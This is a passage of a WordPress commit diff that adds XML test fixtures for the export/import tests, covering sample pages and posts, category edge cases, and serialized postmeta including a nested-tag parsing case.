+               <content:encoded><![CDATA[This is an example page. It's different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:
+
+<blockquote>Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my blog. I live in Los Angeles, have a great dog named Jack, and I like pi&#241;a coladas. (And gettin' caught in the rain.)</blockquote>
+
+...or something like this:
+
+<blockquote>The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickies to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.</blockquote>
+
+As a new WordPress user, you should go to <a href="http://localhost/wp-admin/">your dashboard</a> to delete this page and create new pages for your content. Have fun!]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>2</wp:post_id>
+               <wp:post_date>2011-01-18 07:40:14</wp:post_date>
+               <wp:post_date_gmt>2011-01-18 07:40:14</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>sample-page</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>page</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <wp:postmeta>
+                       <wp:meta_key>_wp_page_template</wp:meta_key>
+                       <wp:meta_value><![CDATA[default]]></wp:meta_value>
+               </wp:postmeta>
+       </item>
+       <item>
+               <title>Child Page</title>
+               <link>http://localhost/?page_id=4</link>
+               <pubDate>Tue, 18 Jan 2011 07:45:50 +0000</pubDate>
+               <dc:creator>admin</dc:creator>
+               <guid isPermaLink="false">http://localhost/?page_id=4</guid>
+               <description></description>
+               <content:encoded><![CDATA[This child page appears before its parent in the export file.]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>4</wp:post_id>
+               <wp:post_date>2011-01-18 07:45:50</wp:post_date>
+               <wp:post_date_gmt>2011-01-18 07:45:50</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>child-page</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>6</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>page</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <wp:postmeta>
+                       <wp:meta_key>_edit_last</wp:meta_key>
+                       <wp:meta_value><![CDATA[1]]></wp:meta_value>
+               </wp:postmeta>
+               <wp:postmeta>
+                       <wp:meta_key>_wp_page_template</wp:meta_key>
+                       <wp:meta_value><![CDATA[default]]></wp:meta_value>
+               </wp:postmeta>
+       </item>
+       <item>
+               <title>Parent Page</title>
+               <link>http://localhost/?page_id=6</link>
+               <pubDate>Tue, 18 Jan 2011 07:46:09 +0000</pubDate>
+               <dc:creator>admin</dc:creator>
+               <guid isPermaLink="false">http://localhost/?page_id=6</guid>
+               <description></description>
+               <content:encoded><![CDATA[This parent page appears after its child in the export file.]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>6</wp:post_id>
+               <wp:post_date>2011-01-18 07:46:09</wp:post_date>
+               <wp:post_date_gmt>2011-01-18 07:46:09</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>parent-page</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>page</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <wp:postmeta>
+                       <wp:meta_key>_edit_last</wp:meta_key>
+                       <wp:meta_value><![CDATA[1]]></wp:meta_value>
+               </wp:postmeta>
+               <wp:postmeta>
+                       <wp:meta_key>_wp_page_template</wp:meta_key>
+                       <wp:meta_value><![CDATA[default]]></wp:meta_value>
+               </wp:postmeta>
+       </item>
+       <item>
+               <title>Draft Page</title>
+               <link>http://localhost/?page_id=9</link>
+               <pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
+               <dc:creator>admin</dc:creator>
+               <guid isPermaLink="false">http://localhost/?page_id=9</guid>
+               <description></description>
+               <content:encoded><![CDATA[This is a draft.]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>9</wp:post_id>
+               <wp:post_date>2011-01-18 07:46:29</wp:post_date>
+               <wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name></wp:post_name>
+               <wp:status>draft</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>page</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <wp:postmeta>
+                       <wp:meta_key>_edit_last</wp:meta_key>
+                       <wp:meta_value><![CDATA[1]]></wp:meta_value>
+               </wp:postmeta>
+               <wp:postmeta>
+                       <wp:meta_key>_wp_page_template</wp:meta_key>
+                       <wp:meta_value><![CDATA[default]]></wp:meta_value>
+               </wp:postmeta>
+       </item>
+       <item>
+               <title>1-col page</title>
+               <link>http://localhost/?page_id=11</link>
+               <pubDate>Tue, 18 Jan 2011 07:46:57 +0000</pubDate>
+               <dc:creator>admin</dc:creator>
+               <guid isPermaLink="false">http://localhost/?page_id=11</guid>
+               <description></description>
+               <content:encoded><![CDATA[Using the "One column, no sidebar" template.]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>11</wp:post_id>
+               <wp:post_date>2011-01-18 07:46:57</wp:post_date>
+               <wp:post_date_gmt>2011-01-18 07:46:57</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>1-col-page</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>page</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <wp:postmeta>
+                       <wp:meta_key>_edit_last</wp:meta_key>
+                       <wp:meta_value><![CDATA[1]]></wp:meta_value>
+               </wp:postmeta>
+               <wp:postmeta>
+                       <wp:meta_key>_wp_page_template</wp:meta_key>
+                       <wp:meta_value><![CDATA[onecolumn-page.php]]></wp:meta_value>
+               </wp:postmeta>
+       </item>
+       <item>
+               <title>Private Post</title>
+               <link>http://localhost/?p=13</link>
+               <pubDate>Tue, 18 Jan 2011 07:47:19 +0000</pubDate>
+               <dc:creator>admin</dc:creator>
+               <guid isPermaLink="false">http://localhost/?p=13</guid>
+               <description></description>
+               <content:encoded><![CDATA[Tagged with some tags.]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>13</wp:post_id>
+               <wp:post_date>2011-01-18 07:47:19</wp:post_date>
+               <wp:post_date_gmt>2011-01-18 07:47:19</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>private-post</wp:post_name>
+               <wp:status>private</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>post</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <category domain="post_tag" nicename="tag1"><![CDATA[Tag1]]></category>
+               <category domain="post_tag" nicename="tag2"><![CDATA[Tag2]]></category>
+               <category domain="post_tag" nicename="tag3"><![CDATA[Tag3]]></category>
+               <category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+               <wp:postmeta>
+                       <wp:meta_key>_edit_last</wp:meta_key>
+                       <wp:meta_value><![CDATA[1]]></wp:meta_value>
+               </wp:postmeta>
+       </item>
+       <item>
+               <title>Foo-child</title>
+               <link>http://localhost/?p=15</link>
+               <pubDate>Tue, 18 Jan 2011 07:48:07 +0000</pubDate>
+               <dc:creator>editor</dc:creator>
+               <guid isPermaLink="false">http://localhost/?p=15</guid>
+               <description></description>
+               <content:encoded><![CDATA[Post associated with the Foo category that is a child of Bar.]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>15</wp:post_id>
+               <wp:post_date>2011-01-18 07:48:07</wp:post_date>
+               <wp:post_date_gmt>2011-01-18 07:48:07</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>foo-child</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>post</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <category domain="category" nicename="foo-bar"><![CDATA[Foo]]></category>
+               <wp:postmeta>
+                       <wp:meta_key>_edit_last</wp:meta_key>
+                       <wp:meta_value><![CDATA[1]]></wp:meta_value>
+               </wp:postmeta>
+               <wp:postmeta>
+                       <wp:meta_key>Post by</wp:meta_key>
+                       <wp:meta_value><![CDATA[editor]]></wp:meta_value>
+               </wp:postmeta>
+       </item>
+       <item>
+               <title>Top-level Foo</title>
+               <link>http://localhost/?p=17</link>
+               <pubDate>Tue, 18 Jan 2011 07:48:32 +0000</pubDate>
+               <dc:creator>admin</dc:creator>
+               <guid isPermaLink="false">http://localhost/?p=17</guid>
+               <description></description>
+               <content:encoded><![CDATA[Post associated with the top-level Foo category.]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>17</wp:post_id>
+               <wp:post_date>2011-01-18 07:48:32</wp:post_date>
+               <wp:post_date_gmt>2011-01-18 07:48:32</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>top-level-foo</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>post</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <category domain="category" nicename="foo"><![CDATA[Foo]]></category>
+               <wp:postmeta>
+                       <wp:meta_key>_edit_last</wp:meta_key>
+                       <wp:meta_value><![CDATA[1]]></wp:meta_value>
+               </wp:postmeta>
+       </item>
+       <item>
+               <title>Non-standard post format</title>
+               <link>http://localhost/?p=19</link>
+               <pubDate>Tue, 18 Jan 2011 07:48:52 +0000</pubDate>
+               <dc:creator>admin</dc:creator>
+               <guid isPermaLink="false">http://localhost/?p=19</guid>
+               <description></description>
+               <content:encoded><![CDATA[This is an aside.]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>19</wp:post_id>
+               <wp:post_date>2011-01-18 07:48:52</wp:post_date>
+               <wp:post_date_gmt>2011-01-18 07:48:52</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>non-standard-post-format</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>post</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <category domain="post_format" nicename="post-format-aside"><![CDATA[Aside]]></category>
+               <category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+               <wp:postmeta>
+                       <wp:meta_key>_edit_last</wp:meta_key>
+                       <wp:meta_value><![CDATA[1]]></wp:meta_value>
+               </wp:postmeta>
+       </item>
+       <item>
+               <title>Many Categories</title>
+               <link>http://localhost/?p=22</link>
+               <pubDate>Tue, 18 Jan 2011 07:55:01 +0000</pubDate>
+               <dc:creator>admin</dc:creator>
+               <guid isPermaLink="false">http://localhost/?p=22</guid>
+               <description></description>
+               <content:encoded><![CDATA[This post has a lot of categories.]]></content:encoded>
+               <excerpt:encoded><![CDATA[]]></excerpt:encoded>
+               <wp:post_id>22</wp:post_id>
+               <wp:post_date>2011-01-18 07:55:01</wp:post_date>
+               <wp:post_date_gmt>2011-01-18 07:55:01</wp:post_date_gmt>
+               <wp:comment_status>open</wp:comment_status>
+               <wp:ping_status>open</wp:ping_status>
+               <wp:post_name>many-categories</wp:post_name>
+               <wp:status>publish</wp:status>
+               <wp:post_parent>0</wp:post_parent>
+               <wp:menu_order>0</wp:menu_order>
+               <wp:post_type>post</wp:post_type>
+               <wp:post_password></wp:post_password>
+               <wp:is_sticky>0</wp:is_sticky>
+               <category domain="category" nicename="alpha"><![CDATA[alpha]]></category>
+               <category domain="category" nicename="bar"><![CDATA[Bar]]></category>
+               <category domain="category" nicename="beta"><![CDATA[BETA]]></category>
+               <category domain="category" nicename="chi"><![CDATA[CHI]]></category>
+               <category domain="category" nicename="delta"><![CDATA[dElta]]></category>
+               <category domain="category" nicename="epsilon"><![CDATA[epsilon]]></category>
+               <category domain="category" nicename="eta"><![CDATA[eta]]></category>
+               <category domain="category" nicename="foo"><![CDATA[Foo]]></category>
+               <category domain="category" nicename="gamma"><![CDATA[gaMMA]]></category>
+               <category domain="category" nicename="iota"><![CDATA[IOTA]]></category>
+               <category domain="category" nicename="kappa"><![CDATA[Kappa]]></category>
+               <category domain="category" nicename="lambda"><![CDATA[lambda]]></category>
+               <category domain="category" nicename="mu"><![CDATA[MU]]></category>
+               <category domain="category" nicename="nu"><![CDATA[Nu]]></category>
+               <category domain="category" nicename="omega"><![CDATA[Omega]]></category>
+               <category domain="category" nicename="omicron"><![CDATA[Omicron]]></category>
+               <category domain="category" nicename="phi"><![CDATA[Phi]]></category>
+               <category domain="category" nicename="pi"><![CDATA[Pi]]></category>
+               <category domain="category" nicename="psi"><![CDATA[Psi]]></category>
+               <category domain="category" nicename="rho"><![CDATA[Rho]]></category>
+               <category domain="category" nicename="sigma"><![CDATA[Sigma]]></category>
+               <category domain="category" nicename="tau"><![CDATA[tAu]]></category>
+               <category domain="category" nicename="theta"><![CDATA[THeta]]></category>
+               <category domain="category" nicename="upsilon"><![CDATA[uPsIlOn]]></category>
+               <category domain="category" nicename="xi"><![CDATA[Xi]]></category>
+               <category domain="category" nicename="zeta"><![CDATA[zeta]]></category>
+               <category domain="category" nicename="eternity"><![CDATA[远征手记]]></category>
+               <wp:postmeta>
+                       <wp:meta_key>_edit_last</wp:meta_key>
+                       <wp:meta_value><![CDATA[1]]></wp:meta_value>
+               </wp:postmeta>
+       </item>
+</channel>
+</rss>
</ins></span></pre></div>
<a id="trunktestsdataexporttestserializedpostmetanocdataxml"></a>
<div class="addfile"><h4>Added: trunk/tests/data/export/test-serialized-postmeta-no-cdata.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/export/test-serialized-postmeta-no-cdata.xml                            (rev 0)
+++ trunk/tests/data/export/test-serialized-postmeta-no-cdata.xml       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,69 @@
</span><ins>+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log into that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/2.8.4" created="2009-12-04 09:06"-->
+<rss version="2.0"
+       xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+       <title>Test With Serialized Postmeta</title>
+       <link>http://test.wordpress.org/</link>
+       <description>Just another blog</description>
+       <pubDate>Mon, 30 Nov 2009 21:35:27 +0000</pubDate>
+       <generator>http://wordpress.org/?v=2.8.4</generator>
+       <language>en</language>
+       <wp:wxr_version>1.0</wp:wxr_version>
+       <wp:base_site_url>http://test.wordpress.org/</wp:base_site_url>
+       <wp:base_blog_url>http://test.wordpress.org/</wp:base_blog_url>
+               <item>
+<title>My Entry with Postmeta</title>
+<link>http://test.wordpress.org/postemta</link>
+<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
+<dc:creator><![CDATA[johncoswell]]></dc:creator>
+
+               <category><![CDATA[Uncategorized]]></category>
+
+               <category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+<guid isPermaLink="false">http://test.wordpress.org/postmeta</guid>
+<description></description>
+<content:encoded><![CDATA[This is my content]]></content:encoded>
+<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+<wp:post_id>122</wp:post_id>
+<wp:post_date>2009-10-20 16:13:20</wp:post_date>
+<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+<wp:comment_status>open</wp:comment_status>
+<wp:ping_status>open</wp:ping_status>
+<wp:post_name></wp:post_name>
+<wp:status>draft</wp:status>
+<wp:post_parent>0</wp:post_parent>
+<wp:menu_order>0</wp:menu_order>
+<wp:post_type>post</wp:post_type>
+<wp:post_password></wp:post_password>
+<wp:postmeta>
+<wp:meta_key>post-options</wp:meta_key>
+<wp:meta_value>a:2:{s:18:"special_post_title";s:15:"A special title";s:11:"is_calendar";s:0:"";}</wp:meta_value>
+</wp:postmeta>
+
+       </item>
+       </channel>
+</rss>
</ins></span></pre></div>
<a id="trunktestsdataexporttestserializedpostmetawithcdataxml"></a>
<div class="addfile"><h4>Added: trunk/tests/data/export/test-serialized-postmeta-with-cdata.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/export/test-serialized-postmeta-with-cdata.xml                          (rev 0)
+++ trunk/tests/data/export/test-serialized-postmeta-with-cdata.xml     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,77 @@
</span><ins>+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log into that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/2.8.4" created="2009-12-04 09:06"-->
+<rss version="2.0"
+       xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+       <title>Test With Serialized Postmeta</title>
+       <link>http://test.wordpress.org/</link>
+       <description>Just another blog</description>
+       <pubDate>Mon, 30 Nov 2009 21:35:27 +0000</pubDate>
+       <generator>http://wordpress.org/?v=2.8.4</generator>
+       <language>en</language>
+       <wp:wxr_version>1.0</wp:wxr_version>
+       <wp:base_site_url>http://test.wordpress.org/</wp:base_site_url>
+       <wp:base_blog_url>http://test.wordpress.org/</wp:base_blog_url>
+               <item>
+<title>My Entry with Postmeta</title>
+<link>http://test.wordpress.org/postemta</link>
+<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
+<dc:creator><![CDATA[johncoswell]]></dc:creator>
+
+               <category><![CDATA[Uncategorized]]></category>
+
+               <category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+<guid isPermaLink="false">http://test.wordpress.org/postmeta</guid>
+<description></description>
+<content:encoded><![CDATA[This is my content]]></content:encoded>
+<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+<wp:post_id>10</wp:post_id>
+<wp:post_date>2009-10-20 16:13:20</wp:post_date>
+<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+<wp:comment_status>open</wp:comment_status>
+<wp:ping_status>open</wp:ping_status>
+<wp:post_name></wp:post_name>
+<wp:status>draft</wp:status>
+<wp:post_parent>0</wp:post_parent>
+<wp:menu_order>0</wp:menu_order>
+<wp:post_type>post</wp:post_type>
+<wp:post_password></wp:post_password>
+<wp:postmeta>
+<wp:meta_key>post-options</wp:meta_key>
+<wp:meta_value><![CDATA[a:2:{s:18:"special_post_title";s:15:"A special title";s:11:"is_calendar";s:0:"";}]]></wp:meta_value>
+</wp:postmeta>
+<wp:postmeta>
+<wp:meta_key>contains-html</wp:meta_key>
+<wp:meta_value><![CDATA[<pre>some html</pre>]]></wp:meta_value>
+</wp:postmeta>
+<wp:postmeta>
+<wp:meta_key>evil</wp:meta_key>
+<wp:meta_value><![CDATA[<wp:meta_value>evil</wp:meta_value>]]></wp:meta_value>
+</wp:postmeta>
+
+       </item>
+       </channel>
+</rss>
</ins></span></pre></div>
<a id="trunktestsdataexporttestutwpostmetaimportxml"></a>
<div class="addfile"><h4>Added: trunk/tests/data/export/test-utw-post-meta-import.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/export/test-utw-post-meta-import.xml                            (rev 0)
+++ trunk/tests/data/export/test-utw-post-meta-import.xml       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,69 @@
</span><ins>+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log into that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/2.8.4" created="2009-12-04 09:06"-->
+<rss version="2.0"
+       xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+       <title>Test With Serialized Postmeta</title>
+       <link>http://test.wordpress.org/</link>
+       <description>Just another blog</description>
+       <pubDate>Mon, 30 Nov 2009 21:35:27 +0000</pubDate>
+       <generator>http://wordpress.org/?v=2.8.4</generator>
+       <language>en</language>
+       <wp:wxr_version>1.0</wp:wxr_version>
+       <wp:base_site_url>http://test.wordpress.org/</wp:base_site_url>
+       <wp:base_blog_url>http://test.wordpress.org/</wp:base_blog_url>
+               <item>
+<title>My Entry with UTW Postmeta</title>
+<link>http://test.wordpress.org/postmeta-utw</link>
+<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
+<dc:creator><![CDATA[johncoswell]]></dc:creator>
+
+               <category><![CDATA[Uncategorized]]></category>
+
+               <category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+<guid isPermaLink="false">http://test.wordpress.org/postmeta-utw</guid>
+<description></description>
+<content:encoded><![CDATA[This is my content]]></content:encoded>
+<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+<wp:post_id>150</wp:post_id>
+<wp:post_date>2009-10-20 16:13:20</wp:post_date>
+<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+<wp:comment_status>open</wp:comment_status>
+<wp:ping_status>open</wp:ping_status>
+<wp:post_name></wp:post_name>
+<wp:status>draft</wp:status>
+<wp:post_parent>0</wp:post_parent>
+<wp:menu_order>0</wp:menu_order>
+<wp:post_type>post</wp:post_type>
+<wp:post_password></wp:post_password>
+<wp:postmeta>
+<wp:meta_key>test</wp:meta_key>
+<wp:meta_value>a:13:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"album";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"apple";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"art";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"artwork";}i:4;O:8:"stdClass":1:{s:3:"tag";s:11:"dead-tracks";}i:5;O:8:"stdClass":1:{s:3:"tag";s:4:"ipod";}i:6;O:8:"stdClass":1:{s:3:"tag";s:6:"itunes";}i:7;O:8:"stdClass":1:{s:3:"tag";s:10:"javascript";}i:8;O:8:"stdClass":1:{s:3:"tag";s:6:"lyrics";}i:9;O:8:"stdClass":1:{s:3:"tag";s:6:"script";}i:10;O:8:"stdClass":1:{s:3:"tag";s:6:"tracks";}i:11;O:8:"stdClass":1:{s:3:"tag";s:22:"windows-scripting-host";}i:12;O:8:"stdClass":1:{s
 :3:"tag";s:7:"wscript";}}</wp:meta_value>
+</wp:postmeta>
+</item>
+</channel>
+</rss>
+
</ins></span></pre></div>
<a id="trunktestsdataexportvalidwxr10xml"></a>
<div class="addfile"><h4>Added: trunk/tests/data/export/valid-wxr-1.0.xml (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/export/valid-wxr-1.0.xml                                (rev 0)
+++ trunk/tests/data/export/valid-wxr-1.0.xml   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,282 @@
</span><ins>+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log in to that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/3.0.1" created="2010-10-20 14:22"-->
+<rss version="2.0"
+       xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+       <title>Export Dataset</title>
+       <link>http://localhost/</link>
+       <description>Just another WordPress site</description>
+       <pubDate>Wed, 20 Oct 2010 14:10:09 +0000</pubDate>
+       <generator>http://wordpress.org/?v=3.0.1</generator>
+       <language>en</language>
+       <wp:wxr_version>1.0</wp:wxr_version>
+       <wp:base_site_url>http://localhost/</wp:base_site_url>
+       <wp:base_blog_url>http://localhost/</wp:base_blog_url>
+               <wp:category><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name><wp:category_description><![CDATA[The alpha category]]></wp:category_description></wp:category>
+               <wp:category><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+               <wp:category><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[parent]]></wp:cat_name></wp:category>
+               <wp:category><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+               <wp:category><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[child]]></wp:cat_name></wp:category>
+                       <wp:tag><wp:tag_slug>chicken</wp:tag_slug><wp:tag_name><![CDATA[chicken]]></wp:tag_name></wp:tag>
+               <wp:tag><wp:tag_slug>face</wp:tag_slug><wp:tag_name><![CDATA[face]]></wp:tag_name></wp:tag>
